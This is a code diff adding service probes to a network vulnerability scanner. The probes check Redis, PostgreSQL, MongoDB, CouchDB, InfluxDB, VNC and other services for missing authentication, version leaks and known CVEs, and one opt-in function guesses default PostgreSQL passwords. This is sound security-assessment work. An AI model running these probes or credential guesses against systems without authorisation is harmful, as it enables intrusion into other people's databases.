auth_findings: + # NOAUTH response — requires auth, stop here + sock.close() + return probe_result( + raw_data=raw, + findings=[Finding(Severity.INFO, "Redis requires authentication", "PING returned NOAUTH.")], + ) + + findings += auth_findings + findings += self._redis_check_info(sock, raw) + findings += self._redis_check_config(sock, raw) + findings += self._redis_check_data(sock, raw) + findings += self._redis_check_clients(sock, raw) + findings += self._redis_check_persistence(sock, raw) + + # CVE check + if raw["version"]: + findings += check_cves("redis", raw["version"]) + + sock.close() + return probe_result(raw_data=raw, findings=findings) + + def _redis_connect(self, target, port): + """Open a TCP socket to Redis.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + return sock + except Exception as e: + self.P(f"Redis connect failed on {target}:{port}: {e}", color='y') + return None + + def _redis_cmd(self, sock, cmd): + """Send an inline Redis command and return the response string.""" + try: + sock.sendall(f"{cmd}\r\n".encode()) + data = sock.recv(4096).decode('utf-8', errors='ignore') + return data + except Exception: + return "" + + def _redis_check_auth(self, sock, raw): + """PING to check if auth is required. Returns findings if no auth, empty list if NOAUTH.""" + resp = self._redis_cmd(sock, "PING") + if resp.startswith("+PONG"): + return [Finding( + severity=Severity.CRITICAL, + title="Redis unauthenticated access", + description="Redis responded to PING without authentication.", + evidence=f"Response: {resp.strip()[:80]}", + remediation="Set a strong password via requirepass in redis.conf.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )] + if "-NOAUTH" in resp.upper(): + return [] # signal: auth required + return [Finding( + severity=Severity.LOW, + title="Redis unusual PING response", + description=f"Unexpected response: {resp.strip()[:80]}", + confidence="tentative", + )] + + def _redis_check_info(self, sock, raw): + """Extract version and OS from INFO server.""" + findings = [] + resp = self._redis_cmd(sock, "INFO server") + if resp.startswith("-"): + return findings + uptime_seconds = None + for line in resp.split("\r\n"): + if line.startswith("redis_version:"): + raw["version"] = line.split(":", 1)[1].strip() + elif line.startswith("os:"): + raw["os"] = line.split(":", 1)[1].strip() + elif line.startswith("uptime_in_seconds:"): + try: + uptime_seconds = int(line.split(":", 1)[1].strip()) + raw["uptime_seconds"] = uptime_seconds + except (ValueError, IndexError): + pass + if raw["os"]: + self._emit_metadata("os_claims", "redis", raw["os"]) + if raw["version"]: + findings.append(Finding( + severity=Severity.LOW, + title=f"Redis version disclosed: {raw['version']}", + description=f"Redis {raw['version']} on {raw['os'] or 'unknown OS'}.", + evidence=f"version={raw['version']}, os={raw['os']}", + remediation="Restrict INFO command access or rename it.", + confidence="certain", + )) + if uptime_seconds is not None and uptime_seconds < 60: + findings.append(Finding( + severity=Severity.INFO, + title=f"Redis uptime <60s ({uptime_seconds}s) — possible container restart", + description="Very low uptime may indicate a recently restarted container or ephemeral instance.", + evidence=f"uptime_in_seconds={uptime_seconds}", + remediation="Investigate if the service is being automatically restarted.", + confidence="tentative", + )) + return findings + + def _redis_check_config(self, sock, raw): + """CONFIG GET dir — if accessible, it's an RCE vector.""" + findings = [] + resp = self._redis_cmd(sock, "CONFIG GET dir") + if resp.startswith("-"): + return findings # blocked, good + raw["config_writable"] = True + findings.append(Finding( + severity=Severity.CRITICAL, + title="Redis CONFIG command accessible (RCE vector)", + description="CONFIG GET is accessible, allowing attackers to write arbitrary files " + "via CONFIG SET dir / CONFIG SET dbfilename + SAVE.", + evidence=f"CONFIG GET dir response: {resp.strip()[:120]}", + remediation="Rename or disable CONFIG via rename-command in redis.conf.", + owasp_id="A05:2021", + cwe_id="CWE-94", + confidence="certain", + )) + return findings + + def _redis_check_data(self, sock, raw): + """DBSIZE — report if data is present.""" + findings = [] + resp = self._redis_cmd(sock, "DBSIZE") + if resp.startswith(":"): + try: + count = int(resp.strip().lstrip(":")) + raw["db_size"] = count + if count > 0: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"Redis database contains {count} keys", + description="Unauthenticated access to a Redis instance with live data.", + evidence=f"DBSIZE={count}", + remediation="Enable authentication and restrict network access.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except ValueError: + pass + return findings + + def _redis_check_clients(self, sock, raw): + """CLIENT LIST — extract connected client IPs.""" + findings = [] + resp = self._redis_cmd(sock, "CLIENT LIST") + if resp.startswith("-"): + return findings + ips = set() + for line in resp.split("\n"): + for part in line.split(): + if part.startswith("addr="): + ip_port = part.split("=", 1)[1] + ip = ip_port.rsplit(":", 1)[0] + ips.add(ip) + if ips: + raw["connected_clients"] = list(ips) + findings.append(Finding( + severity=Severity.LOW, + title=f"Redis client IPs disclosed ({len(ips)} clients)", + description=f"CLIENT LIST reveals connected IPs: {', '.join(sorted(ips)[:5])}", + evidence=f"IPs: {', '.join(sorted(ips)[:10])}", + remediation="Rename or disable CLIENT command.", + confidence="certain", + )) + return findings + + def _redis_check_persistence(self, sock, raw): + """Check INFO persistence for missing or stale RDB saves.""" + findings = [] + resp = self._redis_cmd(sock, "INFO persistence") + if resp.startswith("-"): + return findings + import time as _time + for line in resp.split("\r\n"): + if line.startswith("rdb_last_bgsave_time:"): + try: + ts = int(line.split(":", 1)[1].strip()) + if ts == 0: + findings.append(Finding( + severity=Severity.LOW, + title="Redis has never performed an RDB save", + description="rdb_last_bgsave_time is 0, meaning no background save has ever been performed. " + "This may indicate a cache-only instance with persistence disabled, or an ephemeral deployment.", + evidence="rdb_last_bgsave_time=0", + remediation="Verify whether RDB persistence is intentionally disabled; if not, configure BGSAVE.", + cwe_id="CWE-345", + confidence="tentative", + )) + elif (_time.time() - ts) > 365 * 86400: + age_days = int((_time.time() - ts) / 86400) + findings.append(Finding( + severity=Severity.LOW, + title=f"Redis RDB save is stale ({age_days} days old)", + description="The last RDB background save timestamp is over 1 year old. " + "This may indicate disabled persistence, a long-running cache-only instance, or stale data.", + evidence=f"rdb_last_bgsave_time={ts}, age={age_days}d", + remediation="Verify persistence configuration; stale saves may indicate data loss risk.", + cwe_id="CWE-345", + confidence="tentative", + )) + except (ValueError, IndexError): + pass + break + return findings + + + def _service_info_mssql(self, target, port): # default port: 1433 + """ + Send a TDS prelogin probe to expose SQL Server version data. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + prelogin = bytes.fromhex( + "1201001600000000000000000000000000000000000000000000000000000000" + ) + sock.sendall(prelogin) + data = sock.recv(256) + if data: + readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) + raw["banner"] = f"MSSQL prelogin response: {readable.strip()[:80]}" + findings.append(Finding( + severity=Severity.MEDIUM, + title="MSSQL prelogin handshake succeeded", + description=f"SQL Server on {target}:{port} responds to TDS prelogin, " + "exposing version metadata and confirming the service is reachable.", + evidence=f"Prelogin response: {readable.strip()[:80]}", + remediation="Restrict SQL Server access to trusted networks; use firewall rules.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + sock.close() + except Exception as e: + return probe_error(target, port, "MSSQL", e) + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_postgresql(self, target, port): # default port: 5432 + """ + Probe PostgreSQL authentication method and extract server version. + + Sends a v3 StartupMessage for user 'postgres'. The server replies with + an authentication request (type 'R') optionally followed by ParameterStatus + messages (type 'S') that include ``server_version``. + + Auth codes: + 0 = AuthenticationOk (trust auth) → CRITICAL + 3 = CleartextPassword → MEDIUM + 5 = MD5Password → INFO (adequate, prefer SCRAM) + 10 = SASL (SCRAM-SHA-256) → INFO (strong) + """ + findings = [] + raw = {"auth_type": None, "version": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + payload = b'user\x00postgres\x00database\x00postgres\x00\x00' + startup = struct.pack('!I', len(payload) + 8) + struct.pack('!I', 196608) + payload + sock.sendall(startup) + # Read enough to get auth response + parameter status messages + data = b"" + try: + while len(data) < 4096: + chunk = sock.recv(4096) + if not chunk: + break + data += chunk + # Stop after we see auth request — parameters come after for trust auth + # but for password auth the server sends R then waits. + if len(data) >= 9 and data[0:1] == b'R': + auth_code = struct.unpack('!I', data[5:9])[0] + if auth_code != 0: + break # Server wants a password — no more data coming + except (socket.timeout, OSError): + pass + sock.close() + + # --- Extract version from ParameterStatus ('S') messages --- + # Format: 'S' + int32 length + key\0 + value\0 + pg_version = None + pos = 0 + while pos < len(data) - 5: + msg_type = data[pos:pos+1] + if msg_type not in (b'R', b'S', b'K', b'Z', b'E', b'N'): + break + msg_len = struct.unpack('!I', data[pos+1:pos+5])[0] + msg_end = pos + 1 + msg_len + if msg_type == b'S' and msg_end <= len(data): + kv = data[pos+5:msg_end] + parts = kv.split(b'\x00') + if len(parts) >= 2: + key = parts[0].decode('utf-8', errors='ignore') + val = parts[1].decode('utf-8', errors='ignore') + if key == 'server_version': + pg_version = val + raw["version"] = pg_version + pos = msg_end + if pos >= len(data): + break + + # --- Parse auth response --- + if len(data) >= 9 and data[0:1] == b'R': + auth_code = struct.unpack('!I', data[5:9])[0] + raw["auth_type"] = auth_code + if auth_code == 0: + findings.append(Finding( + severity=Severity.CRITICAL, + title="PostgreSQL trust authentication (no password)", + description=f"PostgreSQL on {target}:{port} accepts connections without any password (auth code 0).", + evidence=f"Auth response code: {auth_code}", + remediation="Configure pg_hba.conf to require password or SCRAM authentication.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + elif auth_code == 3: + findings.append(Finding( + severity=Severity.MEDIUM, + title="PostgreSQL cleartext password authentication", + description=f"PostgreSQL on {target}:{port} requests cleartext passwords.", + evidence=f"Auth response code: {auth_code}", + remediation="Switch to SCRAM-SHA-256 authentication in pg_hba.conf.", + owasp_id="A02:2021", + cwe_id="CWE-319", + confidence="certain", + )) + elif auth_code == 5: + findings.append(Finding( + severity=Severity.INFO, + title="PostgreSQL MD5 authentication", + description="MD5 password auth is adequate but SCRAM-SHA-256 is preferred.", + evidence=f"Auth response code: {auth_code}", + remediation="Consider upgrading to SCRAM-SHA-256.", + confidence="certain", + )) + elif auth_code == 10: + findings.append(Finding( + severity=Severity.INFO, + title="PostgreSQL SASL/SCRAM authentication", + description="Strong authentication (SCRAM-SHA-256) is in use.", + evidence=f"Auth response code: {auth_code}", + confidence="certain", + )) + elif b'AuthenticationCleartextPassword' in data: + raw["auth_type"] = "cleartext_text" + findings.append(Finding( + severity=Severity.MEDIUM, + title="PostgreSQL cleartext password authentication", + description=f"PostgreSQL on {target}:{port} requests cleartext passwords.", + evidence="Text response contained AuthenticationCleartextPassword", + remediation="Switch to SCRAM-SHA-256 authentication.", + owasp_id="A02:2021", + cwe_id="CWE-319", + confidence="firm", + )) + elif b'AuthenticationOk' in data: + raw["auth_type"] = "ok_text" + findings.append(Finding( + severity=Severity.CRITICAL, + title="PostgreSQL trust authentication (no password)", + description=f"PostgreSQL on {target}:{port} accepted connection without authentication.", + evidence="Text response contained AuthenticationOk", + remediation="Configure pg_hba.conf to require password authentication.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="firm", + )) + + # --- Version disclosure --- + if pg_version: + findings.append(Finding( + severity=Severity.LOW, + title=f"PostgreSQL version disclosed: {pg_version}", + description=f"PostgreSQL on {target}:{port} reports version {pg_version}.", + evidence=f"server_version parameter: {pg_version}", + remediation="Restrict network access to the PostgreSQL port.", + cwe_id="CWE-200", + confidence="certain", + )) + # Extract numeric version for CVE matching + ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', pg_version) + if ver_match: + for f in check_cves("postgresql", ver_match.group(1)): + findings.append(f) + + if not findings: + findings.append(Finding(Severity.INFO, "PostgreSQL probe completed", "No auth weakness detected.")) + except Exception as e: + return probe_error(target, port, "PostgreSQL", e) + + return probe_result(raw_data=raw, findings=findings) + + def _service_info_postgresql_creds(self, target, port): # default port: 5432 + """ + PostgreSQL default credential testing (opt-in via active_auth feature group). + + Attempts cleartext password auth with common defaults. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"tested_credentials": 0, "accepted_credentials": []} + creds = [("postgres", ""), ("postgres", "postgres"), ("postgres", "password")] + + for username, password in creds: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + payload = f'user\x00{username}\x00database\x00postgres\x00\x00'.encode() + startup = struct.pack('!I', len(payload) + 8) + struct.pack('!I', 196608) + payload + sock.sendall(startup) + data = sock.recv(128) + + if len(data) >= 9 and data[0:1] == b'R': + auth_code = struct.unpack('!I', data[5:9])[0] + if auth_code == 0: + cred_str = f"{username}:(empty)" if not password else f"{username}:{password}" + raw["accepted_credentials"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"PostgreSQL trust auth for {username}", + description=f"No password required for user {username}.", + evidence=f"Auth code 0 for {cred_str}", + remediation="Configure pg_hba.conf to require authentication.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + elif auth_code == 3: + # Send cleartext password + pwd_bytes = password.encode() + b'\x00' + pwd_msg = b'p' + struct.pack('!I', len(pwd_bytes) + 4) + pwd_bytes + sock.sendall(pwd_msg) + resp = sock.recv(4096) + if resp and resp[0:1] == b'R' and len(resp) >= 9: + result_code = struct.unpack('!I', resp[5:9])[0] + if result_code == 0: + cred_str = f"{username}:{password}" if password else f"{username}:(empty)" + raw["accepted_credentials"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"PostgreSQL default credential accepted: {cred_str}", + description=f"Cleartext password auth accepted for {cred_str}.", + evidence=f"Auth OK for {cred_str}", + remediation="Change default passwords.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + findings += self._pg_extract_version_findings(resp) + elif auth_code == 5 and len(data) >= 13: + # MD5 auth: server sends 4-byte salt at bytes 9:13 + import hashlib + salt = data[9:13] + inner = hashlib.md5(password.encode() + username.encode()).hexdigest() + outer = 'md5' + hashlib.md5(inner.encode() + salt).hexdigest() + pwd_bytes = outer.encode() + b'\x00' + pwd_msg = b'p' + struct.pack('!I', len(pwd_bytes) + 4) + pwd_bytes + sock.sendall(pwd_msg) + resp = sock.recv(4096) + if resp and resp[0:1] == b'R' and len(resp) >= 9: + result_code = struct.unpack('!I', resp[5:9])[0] + if result_code == 0: + cred_str = f"{username}:{password}" if password else f"{username}:(empty)" + raw["accepted_credentials"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"PostgreSQL default credential accepted: {cred_str}", + description=f"MD5 password auth accepted for {cred_str}.", + evidence=f"Auth OK for {cred_str}", + remediation="Change default passwords.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + findings += self._pg_extract_version_findings(resp) + raw["tested_credentials"] += 1 + sock.close() + except Exception: + continue + + if not findings: + findings.append(Finding( + severity=Severity.INFO, + title="PostgreSQL default credentials rejected", + description=f"Tested {raw['tested_credentials']} credential pairs.", + confidence="certain", + )) + + return probe_result(raw_data=raw, findings=findings) + + def _pg_extract_version_findings(self, data): + """Parse ParameterStatus messages after PG auth success for version + CVEs.""" + findings = [] + pos = 0 + while pos < len(data) - 5: + msg_type = data[pos:pos+1] + if msg_type not in (b'R', b'S', b'K', b'Z', b'E', b'N'): + break + msg_len = struct.unpack('!I', data[pos+1:pos+5])[0] + msg_end = pos + 1 + msg_len + if msg_type == b'S' and msg_end <= len(data): + kv = data[pos+5:msg_end] + parts = kv.split(b'\x00') + if len(parts) >= 2: + key = parts[0].decode('utf-8', errors='ignore') + val = parts[1].decode('utf-8', errors='ignore') + if key == 'server_version': + findings.append(Finding( + severity=Severity.LOW, + title=f"PostgreSQL version disclosed: {val}", + description=f"PostgreSQL reports version {val} (via authenticated session).", + evidence=f"server_version parameter: {val}", + remediation="Restrict network access to the PostgreSQL port.", + cwe_id="CWE-200", + confidence="certain", + )) + ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', val) + if ver_match: + findings += check_cves("postgresql", ver_match.group(1)) + break + pos = msg_end + if pos >= len(data): + break + return findings + + def _service_info_memcached(self, target, port): # default port: 11211 + """ + Issue Memcached stats command to detect unauthenticated access. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + sock.connect((target, port)) + + # Extract version + sock.sendall(b'version\r\n') + ver_data = sock.recv(64).decode("utf-8", errors="replace").strip() + ver_match = _re.match(r'VERSION\s+(\d+(?:\.\d+)+)', ver_data) + if ver_match: + raw["version"] = ver_match.group(1) + findings.append(Finding( + severity=Severity.LOW, + title=f"Memcached version disclosed: {raw['version']}", + description=f"Memcached on {target}:{port} reveals version via VERSION command.", + evidence=f"VERSION {raw['version']}", + remediation="Restrict access to memcached to trusted networks.", + cwe_id="CWE-200", + confidence="certain", + )) + findings += check_cves("memcached", raw["version"]) + + sock.sendall(b'stats\r\n') + data = sock.recv(128) + if data.startswith(b'STAT'): + raw["banner"] = data.decode("utf-8", errors="replace").strip()[:120] + findings.append(Finding( + severity=Severity.HIGH, + title="Memcached stats accessible without authentication", + description=f"Memcached on {target}:{port} responds to stats without authentication, " + "exposing cache metadata and enabling cache poisoning or data exfiltration.", + evidence=f"stats command returned: {raw['banner'][:80]}", + remediation="Bind Memcached to localhost or use SASL authentication; restrict network access.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + else: + raw["banner"] = "Memcached port open" + findings.append(Finding( + severity=Severity.INFO, + title="Memcached port open", + description=f"Memcached port {port} is open on {target} but stats command was not accepted.", + evidence=f"Response: {data[:60].decode('utf-8', errors='replace')}", + confidence="firm", + )) + sock.close() + except Exception as e: + return probe_error(target, port, "Memcached", e) + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_mongodb(self, target, port): # default port: 27017 + """ + Attempt MongoDB isMaster + buildInfo to detect unauthenticated access + and extract the server version for CVE matching. + """ + findings = [] + raw = {"banner": None, "version": None} + try: + # --- Pass 1: isMaster --- + is_master = False + data = self._mongodb_query(target, port, b'isMaster') + if data and (b'ismaster' in data or b'isMaster' in data): + is_master = True + + if is_master: + raw["banner"] = "MongoDB isMaster response" + findings.append(Finding( + severity=Severity.CRITICAL, + title="MongoDB unauthenticated access (isMaster responded)", + description=f"MongoDB on {target}:{port} accepts commands without authentication, " + "allowing full database read/write access.", + evidence="isMaster command succeeded without credentials.", + remediation="Enable MongoDB authentication (--auth) and bind to localhost or trusted networks.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + + # --- Pass 2: buildInfo (for version) --- + build_data = self._mongodb_query(target, port, b'buildInfo') + mongo_version = self._mongodb_extract_bson_string(build_data, b'version') + if mongo_version: + raw["version"] = mongo_version + findings.append(Finding( + severity=Severity.LOW, + title=f"MongoDB version disclosed: {mongo_version}", + description=f"MongoDB on {target}:{port} reports version {mongo_version}.", + evidence=f"buildInfo version: {mongo_version}", + remediation="Restrict network access to the MongoDB port.", + cwe_id="CWE-200", + confidence="certain", + )) + ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', mongo_version) + if ver_match: + for f in check_cves("mongodb", ver_match.group(1)): + findings.append(f) + + except Exception as e: + return probe_error(target, port, "MongoDB", e) + return probe_result(raw_data=raw, findings=findings) + + @staticmethod + def _mongodb_query(target, port, command_name): + """Send a MongoDB OP_QUERY command and return the raw response bytes.""" + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + # Build BSON: {: 1} + field = b'\x10' + command_name + b'\x00' + struct.pack(' len(data): + return None + str_len = struct.unpack(' len(data): + return None + return data[str_start+4:str_start+4+str_len-1].decode('utf-8', errors='ignore') + + + + # ── CouchDB ────────────────────────────────────────────────────── + + def _service_info_couchdb(self, target, port): # default port: 5984 + """ + Probe Apache CouchDB HTTP API for unauthenticated access, admin panel, + database listing, and version-based CVE matching. + """ + findings, raw = [], {"version": None} + base_url = f"http://{target}:{port}" + + # 1. Root endpoint — identifies CouchDB and extracts version + try: + resp = requests.get(base_url, timeout=3) + if not resp.ok: + return None + data = resp.json() + if "couchdb" not in str(data).lower(): + return None # Not CouchDB + raw["version"] = data.get("version") + raw["vendor"] = data.get("vendor", {}).get("name") if isinstance(data.get("vendor"), dict) else None + except Exception: + return None + + if raw["version"]: + findings.append(Finding( + severity=Severity.LOW, + title=f"CouchDB version disclosed: {raw['version']}", + description=f"CouchDB on {target}:{port} reports version {raw['version']}.", + evidence=f"GET / → version={raw['version']}", + remediation="Restrict network access to the CouchDB port.", + cwe_id="CWE-200", + confidence="certain", + )) + ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', raw["version"]) + if ver_match: + findings += check_cves("couchdb", ver_match.group(1)) + + # 2. Database listing — unauthenticated access to /_all_dbs + try: + resp = requests.get(f"{base_url}/_all_dbs", timeout=3) + if resp.ok: + dbs = resp.json() + if isinstance(dbs, list): + raw["databases"] = dbs + user_dbs = [d for d in dbs if not d.startswith("_")] + findings.append(Finding( + severity=Severity.CRITICAL if user_dbs else Severity.HIGH, + title=f"CouchDB unauthenticated database listing ({len(dbs)} databases)", + description=f"/_all_dbs accessible without credentials. " + f"{'User databases exposed: ' + ', '.join(user_dbs[:5]) if user_dbs else 'Only system databases found.'}", + evidence=f"Databases: {', '.join(dbs[:10])}" + (f"... (+{len(dbs)-10} more)" if len(dbs) > 10 else ""), + remediation="Enable CouchDB authentication via [admins] section in local.ini.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + + # 3. Admin panel (Fauxton) accessibility + try: + resp = requests.get(f"{base_url}/_utils/", timeout=3, allow_redirects=True) + if resp.ok and ("fauxton" in resp.text.lower() or "couchdb" in resp.text.lower()): + findings.append(Finding( + severity=Severity.HIGH, + title="CouchDB admin panel (Fauxton) accessible", + description=f"/_utils/ on {target}:{port} serves the admin web interface.", + evidence=f"GET /_utils/ returned {resp.status_code}, content-length={len(resp.text)}", + remediation="Restrict access to /_utils via reverse proxy or bind to localhost.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + + # 4. Config endpoint — critical if accessible + try: + resp = requests.get(f"{base_url}/_node/_local/_config", timeout=3) + if resp.ok and resp.text.startswith("{"): + findings.append(Finding( + severity=Severity.CRITICAL, + title="CouchDB configuration exposed without authentication", + description="/_node/_local/_config returns full server configuration including credentials.", + evidence=f"GET /_node/_local/_config returned {resp.status_code}", + remediation="Enable admin authentication immediately.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + + if not findings: + findings.append(Finding(Severity.INFO, "CouchDB probe clean", "No issues detected.")) + return probe_result(raw_data=raw, findings=findings) + + # ── InfluxDB ──────────────────────────────────────────────────── + + def _service_info_influxdb(self, target, port): # default port: 8086 + """ + Probe InfluxDB HTTP API for version disclosure, unauthenticated access, + and database listing. + """ + findings, raw = [], {"version": None} + base_url = f"http://{target}:{port}" + + # 1. Ping — extract version from X-Influxdb-Version header + try: + resp = requests.get(f"{base_url}/ping", timeout=3) + version = resp.headers.get("X-Influxdb-Version") + if not version: + return None # Not InfluxDB + raw["version"] = version + findings.append(Finding( + severity=Severity.LOW, + title=f"InfluxDB version disclosed: {version}", + description=f"InfluxDB on {target}:{port} reports version {version}.", + evidence=f"X-Influxdb-Version: {version}", + remediation="Restrict network access to the InfluxDB port.", + cwe_id="CWE-200", + confidence="certain", + )) + ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', version) + if ver_match: + findings += check_cves("influxdb", ver_match.group(1)) + except Exception: + return None + + # 2. Unauthenticated database listing + try: + resp = requests.get(f"{base_url}/query", params={"q": "SHOW DATABASES"}, timeout=3) + if resp.ok: + data = resp.json() + results = data.get("results", []) + if results and not results[0].get("error"): + series = results[0].get("series", []) + db_names = [] + for s in series: + for row in s.get("values", []): + if row: + db_names.append(row[0]) + raw["databases"] = db_names + user_dbs = [d for d in db_names if d not in ("_internal",)] + findings.append(Finding( + severity=Severity.CRITICAL if user_dbs else Severity.HIGH, + title=f"InfluxDB unauthenticated access ({len(db_names)} databases)", + description=f"SHOW DATABASES succeeded without credentials. " + f"{'User databases: ' + ', '.join(user_dbs[:5]) if user_dbs else 'Only internal databases found.'}", + evidence=f"Databases: {', '.join(db_names[:10])}", + remediation="Enable InfluxDB authentication in the configuration ([http] auth-enabled = true).", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + elif results and results[0].get("error"): + # Auth required — good + findings.append(Finding( + severity=Severity.INFO, + title="InfluxDB authentication enforced", + description="SHOW DATABASES rejected without credentials.", + evidence=f"Error: {results[0]['error'][:80]}", + confidence="certain", + )) + except Exception: + pass + + # 3. Debug endpoint exposure + try: + resp = requests.get(f"{base_url}/debug/vars", timeout=3) + if resp.ok and "memstats" in resp.text: + findings.append(Finding( + severity=Severity.MEDIUM, + title="InfluxDB debug endpoint exposed (/debug/vars)", + description="Go runtime debug variables accessible, leaking memory stats and internal state.", + evidence=f"GET /debug/vars returned {resp.status_code}", + remediation="Disable or restrict access to debug endpoints.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception: + pass + + if not findings: + findings.append(Finding(Severity.INFO, "InfluxDB probe clean", "No issues detected.")) + return probe_result(raw_data=raw, findings=findings) diff --git a/extensions/business/cybersec/red_mesh/worker/service/infrastructure.py b/extensions/business/cybersec/red_mesh/worker/service/infrastructure.py new file mode 100644 index 00000000..7a39f359 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/infrastructure.py @@ -0,0 +1,2024 @@ +import random +import re as _re +import socket +import struct + +import requests + +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves +from ._base import _ServiceProbeBase + + +class _ServiceInfraMixin(_ServiceProbeBase): + """RDP, VNC, SNMP, DNS, SMB, WINS, Modbus and Elasticsearch probes.""" + + def _service_info_rdp(self, target, port): # default port: 3389 + """ + Verify reachability of RDP services without full negotiation. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + sock.connect((target, port)) + raw["banner"] = "RDP service open" + findings.append(Finding( + severity=Severity.INFO, + title="RDP service detected", + description=f"RDP port {port} is open on {target}, no further enumeration performed.", + evidence=f"TCP connect to {target}:{port} succeeded.", + confidence="certain", + )) + sock.close() + except Exception as e: + return probe_error(target, port, "RDP", e) + return probe_result(raw_data=raw, findings=findings) + + def _service_info_vnc(self, target, port): # default port: 5900 + """ + VNC handshake: read version banner, negotiate security types. + + Security types: + 1 (None) → CRITICAL: unauthenticated desktop access + 2 (VNC Auth) → MEDIUM: DES-based, max 8-char password + 19 (VeNCrypt) → INFO: TLS-secured + Other → LOW: unknown auth type + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None, "security_types": []} + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + + # Read server banner (e.g. "RFB 003.008\n") + banner = sock.recv(12).decode('ascii', errors='ignore').strip() + raw["banner"] = banner + + if not banner.startswith("RFB"): + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"VNC service detected (non-standard banner: {banner[:30]})", + description="VNC port open but banner is non-standard.", + evidence=f"Banner: {banner}", + remediation="Restrict VNC access to trusted networks or use SSH tunneling.", + confidence="tentative", + )) + sock.close() + return probe_result(raw_data=raw, findings=findings) + + # Echo version back to negotiate + sock.sendall(banner.encode('ascii') + b"\n") + + # Read security type list + sec_data = sock.recv(64) + sec_types = [] + if len(sec_data) >= 1: + num_types = sec_data[0] + if num_types > 0 and len(sec_data) >= 1 + num_types: + sec_types = list(sec_data[1:1 + num_types]) + raw["security_types"] = sec_types + sock.close() + + _VNC_TYPE_NAMES = {1: "None", 2: "VNC Auth", 19: "VeNCrypt", 16: "Tight"} + type_labels = [f"{t}({_VNC_TYPE_NAMES.get(t, 'unknown')})" for t in sec_types] + raw["security_type_labels"] = type_labels + + if 1 in sec_types: + findings.append(Finding( + severity=Severity.CRITICAL, + title="VNC unauthenticated access (security type None)", + description=f"VNC on {target}:{port} allows connections without authentication.", + evidence=f"Banner: {banner}, security types: {type_labels}", + remediation="Disable security type None and require VNC Auth or VeNCrypt.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + if 2 in sec_types: + findings.append(Finding( + severity=Severity.MEDIUM, + title="VNC password auth (DES-based, max 8 chars)", + description=f"VNC Auth uses DES encryption with a maximum 8-character password.", + evidence=f"Banner: {banner}, security types: {type_labels}", + remediation="Use VeNCrypt (TLS) or SSH tunneling instead of plain VNC Auth.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + if 19 in sec_types: + findings.append(Finding( + severity=Severity.INFO, + title="VNC VeNCrypt (TLS-secured)", + description="VeNCrypt provides TLS-secured VNC connections.", + evidence=f"Banner: {banner}, security types: {type_labels}", + confidence="certain", + )) + if not sec_types: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"VNC service exposed: {banner}", + description="VNC protocol banner detected but security types could not be parsed.", + evidence=f"Banner: {banner}", + remediation="Restrict VNC access to trusted networks.", + confidence="firm", + )) + + except Exception as e: + return probe_error(target, port, "VNC", e) + + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_snmp(self, target, port): # default port: 161 + """ + 